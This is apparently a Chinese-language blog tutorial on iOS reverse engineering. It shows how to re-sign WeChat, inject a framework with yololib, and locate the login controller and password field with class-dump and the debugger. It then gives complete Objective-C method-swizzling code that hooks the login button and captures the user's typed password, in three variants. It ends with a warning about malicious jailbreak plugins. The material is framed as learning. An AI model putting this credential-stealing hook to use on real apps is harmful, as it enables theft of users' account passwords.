iOS应用安全4 -- 代码注入,窃取微信登录密码

2,015 阅读11分钟

前言

上篇文章讲述了Apple公司双重签名机制的原理,并且针对这个原理我们又学到了一种将别人的.ipa包修改Bundle ID后运行在我们手机的方法------重签名。
说白了重签名为的是什么?就是为了能让我们修改了App的逻辑之后还能正常安装到手机并且调试运行,那么接下来这篇文章就是讲述如何去修改App原有的代码逻辑。
注意哟,本篇文章需要具备一些简单的runtime知识。

代码注入

代码注入目前主要是通过framework注入,本次我们使用的就是framework注入的方式进行讲解。当然也可以使用静态库Static Library进行代码注入,只不过过程上要较为复杂一些。

代码注入是在重签名的基础上进行的,所以先按照上篇文章写的将App进行重签名,建议使用脚本重签名,使用简单,不易出错。

新建framework

按照Targets---> + --->framework新建一个framework,名字随便起,笔者这里已经创建好了,名字起的是HYHook.framework。

new framework

直接编译一遍

创建好了framework之后直接编译一遍,
然后查看Products--->代码注入.app--->Frameworks文件夹,是不是发现我们刚刚创建的framework已经添加到Frameworks文件夹里面了。是不是很神奇?这也是为什么我们要使用framework进行代码注入的原因之一。

HYHook

如何让App去加载我们添加的framework?

App在运行的时候能够执行到以下3个地方的代码:

  1. 系统库。非越狱手机是无法修改的。
  2. MachO二进制文件。可以修改,但是我们需要使用二进制去修改,要求较高。
  3. framework库。

在刚刚我们已经将framework添加到了Frameworks文件夹下,但是注意,这并不代表着这个framework已经可以用了。使用MachOView查看App的MachO文件如下。因为MachO文件的二进制数据的排列是有规律的,所以这里我们就可以使用MachOView来将MachO二进制文件破解出某些信息,在界面上展示出来。

MachOView
上图中MachO文件破解后有个Load Commands项,这一项中表示了在MachO执行的时候需要加载的资源文件,而下面圈起来的部分就是需要加载的代码库,我们查看这些库可以发现这里面是没有我们刚刚新建的framework的。

也就是说,我们刚刚新建了一个framework,并且也添加到了Frameworks文件夹里面,但是在执行MachO文件的时候并不会将这个framework加载到内存中,因此也就还是无法调用。此时我们就需要另外一个工具yololib了,这是一个命令行工具,安装后在重签名脚本最后添加下面一行脚本即可修改MachO文件,在执行的时候加载我们的framework。HYHook是我刚刚创建的framework的名称,需要修改成你们自己创建的framework名称。

yololib "$TARGET_APP_PATH/$APP_BINARY" "Frameworks/HYHook.framework/HYHook"

注意:如果只是重签名上面那行命令不要添加,在代码注入的时候再添加,并且framework名字要与创建的framework相同。

注入代码

目前我们已经将自己创建的framework添加到了Frameworks文件夹里面,并且现在MachO文件在执行的时候也会将这个framework加载到内存中。那么接下来我们就要开始让framework做点事情了。
1、创建一个类,名字随便,我这里叫HYHookLogin,因为后面要使用这个类去获取微信的登录密码。
2、在.m中实现这个类的load方法,代码如下:

+ (void)load {
    NSLog(@"这是注入的代码打印出来的😂😂😂😂");
}

3、运行代码,可以看到这句话已经打印出来了,说明我们注入的代码执行了。

注入成功

获取微信登录密码

我们已经知道如何让App执行添加的framework代码了,不过那些都不是重点,真正的重点从这里开始。

黑魔法 Method Swizzling

相信很多童鞋在这之前应该都多多少少了解过iOS的黑魔法Method Swizzling,不了解也没关系,现在就来讲讲这个黑魔法。
讲之前我默认你知道SEL和IMP对于方法来说所表示的意义。再说一下吧

  • SEL:相当于一本书的目录,我可以通过这个目录找到IMP。
  • IMP:相当于真正要找到,要使用的东西。

简而言之,通过SEL可以找到方法实现的地址,而IMP就是方法的实现地址。
他俩的关系是一一对应的,盗一张图😁

SEL---IMP

而我们的黑魔法看着他们一一对应很不爽,于是就有了下面这样👌

交换
也就是说,黑魔法将两个方法的方法实现进行了交换。这样,调用方法2的时候实质上会执行方法3的代码,调用方法3的时候实质上会执行方法2的代码,这就是我们说的黑魔法。

动态调试

动态调试,听名字感觉很高大上,其实就是在App运行期间进行lldb调试。这里我们依然以微信作为学习软件。

  1. 运行项目,此时xcode会将重签名的微信安装到手机并打开。
  2. 点击登录进入登录页面,点击用微信号/QQ号/邮箱登录,此时我们就会进入到账号密码输入界面。
  3. 在xcode上点击Debug View Hierarchy,不知道哪一个?看下面。
    view debug
  4. 此时我们就可以看到微信登录界面上各个控件的层级关系和信息。
    控件
  5. 点击上面的登录按钮(可以把视图稍微斜一点,容易点到一些)。
    信息
  6. 此时我们可以看到这个按钮的Target和Action,是不是想起这个了?
[btn addTarget:self action:@selector(xxx) forControlEvents:UIControlEventTouchUpInside];

这时候就可以猜测,点击登录按钮的时候控制器WCAccountMainLoginViewController对象就会调用onNext方法,但是现在我们如何确定这个onNext方法是对象方法还是类方法呢?

静态分析

上面的动态调试让我们猜测到点击登录按钮会调用onNext方法,那么这个静态分析就是来辅助验证我们猜测的。
这里还要使用到一个工具class-dump,同样也是一个命令行工具,为了让这些工具在哪都能使用,我们可以把他们的可执行文件放到/usr/local/bin目录下。
class-dump的作用就是可以反编译App的MachO文件,将里面类的属性/成员变量和方法声明进行导出,便于查看。

// 使用以下命令将WeChat的MachO文件的头文件导出到Header文件夹
class-dump -H WeChat -o Header

另外,再介绍一个工具sublime Text,这个工具是一个轻量级的编辑器,拥有xcode全局搜索一样的功能,我们可以用它打开class-dump导出的头文件文件夹,快速搜索我们需要的东西。

是不是有疑问:为什么不直接使用xcode呢?

像我们使用的这个微信,导出的头文件有10000多个。笔者试过,将这些文件往xcode工程中一拖,xcode立马卡死,强制退出点了3次才退掉。sublime Text的优点就是它是轻量级的,加载10000多个头文件轻轻松松,同时也能快速的全局搜索。(具体用不用根据自己需要吧😄)

接下来全局搜索我们想要的东西吧!

  1. 使用sublime Text打开我们导出的Header文件夹,如下:
    头文件
  2. command + shift + f打开全局搜索,输入@interface WCAccountMainLoginViewController进行搜索。
    搜索
  3. 双击我们搜索到的文件,跳转到指定文件内,可以发现这里面基本上有这个类中所有属性和方法的声明,我们要验证的onNext方法也在其中。
    onNext

获取密码

通过上面的动态调试和静态分析,我们已经基本可以确定onNext方法就是点击登录时要执行的方法,那么现在就该想想我们要如何获取登录密码?

  1. 在View Debug视图中点击密码输入框,可以看到密码输入框是一个WCUITextField类型的对象。
    密码
  2. 然后我们再到刚刚搜索出来的WCAccountMainLoginViewController.h文件中找,看看有没有WCUITextField类型的对象。很遗憾,没找到。虽然没找到,但是我们貌似发现来两个可疑对象?(由此可见代码混淆有多重要)
    可疑
  3. 找到了可疑对象,我们就根据线索往深处查,全局搜索@interface WCAccountTextFieldItem,找到了,但是发现什么也没有。
    没有
  4. 别灰心,这家伙不是还继承了WCBaseTextFieldItem吗?继续沿着线索查,全局搜索@interface WCBaseTextFieldItem。哈哈,发现了什么?一个WCUITextField类型的变量。
    发现
  5. 找到了这个很可疑的对象了,现在我们99%的确定这家伙就是我们要找的密码输入框,但是别着急写代码破解,以免写完了发现这其实是那1%,哈哈。所以要再进行一步验证,让这个几率达到100%。
  6. 100%验证。关掉View Debug,在输入框里随便输入账号密码,再打开View Debug,并且选中控制器对象,如下:
    控制器
  7. 然后使用lldb进行调试,来验证我们那个99%的猜测。通过验证,完全和我们猜测的一样,100%肯定了。
    100%

代码实现

我们找到了登录按钮的点击事件方法- (void)onNext;密码的输入框对象_textFieldUserPwdItem。那么下面就是需要我们使用代码获取微信登录密码的时刻了。

  1. HYHookLogin类中导入#import <objc/runtime.h>并且定义方法- (void)new_onNext;重写HYHookLogin类的+ (void)load;方法。
+ (void)load {
    
}

- (void)new_onNext {
    
}
  1. load方法中使用上面说的黑魔法将WCAccountMainLoginViewController类中的onNext方法和HYHookLogin类中的new_onNext方法的实现进行交换。代码如下:
+ (void)load {
    // 获取Method对象
    Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
    Method new_onNext = class_getInstanceMethod(self, @selector(new_onNext));
    // 交换方法
    method_exchangeImplementations(onNext, new_onNext);
}

- (void)new_onNext {
    UITextField *pwdTF = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
    NSLog(@"窃取到的密码是:%@", pwdTF.text);
    
    // 为了不改变原本的登录逻辑,这里需要调用微信原本的onNext方法实现
    // 但由于new_onNext的方法实现已经与onNext方法实现进行了交换,所以需要[self new_onNext]调用,并不会递归。
    [self new_onNext];
}
  1. 满心欢喜的运行,结果崩溃了。原因就是WCAccountMainLoginViewController类中是没有new_onNext方法的声明的。找不到这个方法的SEL。
    崩溃
  2. 最后的问题就是要解决这个崩溃了,这里不再过多的叙述,我直接把解决这个崩溃问题的三种方法贴出来,读者可以根据代码分析其中的逻辑和各种方法的优缺点。
+(void)load {
//    // 第1种方法
//    // 获取Method对象
//    Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
//    // 给WCAccountMainLoginViewController添加方法,为了解决[self new_onNext]调用崩溃的问题
//    class_addMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext), class_getMethodImplementation(self, @selector(new_onNext)), "v@:");
//    // 交换方法
//    method_exchangeImplementations(onNext, class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext)));


//    // 第2种方法
//    Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
//    /*
//     方法替换,参数说明
//     1、将要被替换的方法在哪个类
//     2、将要被替换的方法在类中的SEL
//     3、替换方法的具体实现
//     4、方法标识,返回值类型v == void,发送消息的对象的类型@ == id,消息的SEL == :
//     返回的是被替换方法的IMP,类型是IMP  IMP == void(*)(void) 类型,此时可强转为void(*)(id, SEL)类型
//     */
//    old_onNext = (void(*)(id, SEL))class_replaceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext), class_getMethodImplementation(self, @selector(new_onNext)), "v@:");


    // 第3种方法
    Method onNext = class_getInstanceMethod(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(onNext));
    // 获取老onNext方法的IMP
    old_onNext = (void(*)(id, SEL))class_getMethodImplementation(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(onNext));
    // 获取新onNext方法的IMP
    IMP new_onNext = class_getMethodImplementation(self, @selector(new_onNext));
    // 修改onNext方法的IMP为new_onNext
    method_setImplementation(onNext, new_onNext);

}

// 用来接收老的onNext方法的地址    显式声明old_onNext是一个函数指针变量,第2,3种方法需要这个。
void (*old_onNext)(id self, SEL _cmd);

- (void)new_onNext {
    NSLog(@"点击了登录按钮");
    UITextField *pwdTF = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
    NSLog(@"窃取到的密码是:%@", pwdTF.text);
//    // 第1种方法
//    [self new_onNext];      // 因为WCAccountMainLoginViewController类没有这个方法,直接调用会找不到,崩溃

//    // 第2种方法
//    old_onNext(self, _cmd);

    // 第3种方法
    old_onNext(self, _cmd);
}

其实这三种方法解决崩溃的原理上大同小异,就看读者你喜欢用哪种方法了。

总结

这篇文章讲述了如何通过framework进行代码注入,并且在此基础上一步步逆向分析出微信的登录密码如何窃取。之所以用窃取这个词,就是因为在用户层上,并没有改变微信原本的登录请求,只是在登录之前添加了一点点东西用来窃取用户输入的密码。

用红色文字提示用户:
没事千万别把手机越狱,使用别人开发的插件,很可能别人的插件就有这个获取密码的功能,然后通过网络请求将你的密码上传到某个服务器上,讽刺的是这个账号密码还是你自己输入给人家的😂😂😂

本文地址https://juejin.cn/post/6844904102657277966